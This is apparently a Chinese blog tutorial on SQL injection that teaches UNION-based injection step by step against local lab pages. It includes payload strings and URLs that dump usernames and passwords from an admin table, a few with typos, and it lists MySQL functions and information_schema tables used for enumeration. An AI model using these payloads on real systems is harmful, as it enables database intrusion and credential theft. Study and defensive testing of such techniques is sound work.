SQL注入基础与union联合查询注入
·
SQL注入基础与union联合查询注入
先判断是字符型和是数字型注入
- 输入任意内容加单引号,如果有报错信息则根据报错信息判断
- or 1 = 1 and 1=1……
union联合注入
SQL中UNION操作符用于合并两个或多个SELECT语句的结果集。UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型,结果会去掉重复的记录。当UNION之前的select语句结果集为空时,查询结果将由UNION后的SELECT语句控制。当WEB应用存在SQL注入时,巧妙利用union查询可以进行数据的盗取
联合查询注入语句构造步骤:
- 判断原有查询语句的列数 order by 语句用于对结果集进行排序,在select语句末尾增加order by N (N表示基于第几列进行排序)
- 使原有查询语句的结果为空
- 判断数据输出位置 union select 1,2,3 --+
- 使用union语句拼接目标数据的查询语句 'union select verson(),4;# 得到当前数据库版本 'union select database(),user();# 得到当前数据库名和用户名
1.判断原有查询语句的列数select company, ordernumber from orders order by 5
2.使原有查询语句的结果为空http://localhost/sqleasy/news.php?newsid=-1
3.判断数据输出位置http://localhost/sqleasy/news.php?newsid=-1 union select 1,2,3,4,5
4.使用union语句拼接目标数据的查询语句http://127.0.0.1/sqltest/search.php?id=-1 union select 1,username,password,4, from admin&firstname=&lastname=&city=&year=&btnSign=%E6%9F%A5%E8%AF%A2
常用数据库函数
- user() 查询当前是哪个账号在连接数据库
- database() 查询当前数据库名称
- @@verson/verson()
- current_user() 查询当前用户
- @@basedir 查询当前数据库的安装路径
- @@datadir 查询数据库的data路径
- @@verson_compile_os
连接字符串的函数
-
前提:
- concat(str1,str2)
- concat_ws(separator,str1,str2……) separator为指定字符


- group_concat(str1,str2……)
mysql中的information scheme库 //information scheme为mysql的系统库
- SCHEMATA表
- 字段:SCHEMA_NAME(库名)
- TABLES表
- 字段:TABLE_SCHEMA(库名),TABLE_NAME(表名)
- COLUMNS表
- 字段:TABLE_SCHEMA(库名),TABLE_NAME(表名),COLUMN_NAME(列名)
union利用前提:
页面上有显示位,用于显示我们想要的结果










优点:方便、快捷、易于利用
缺点:需要显示位
数据库类型判断

数据查询语句构造

更多推荐




所有评论(0)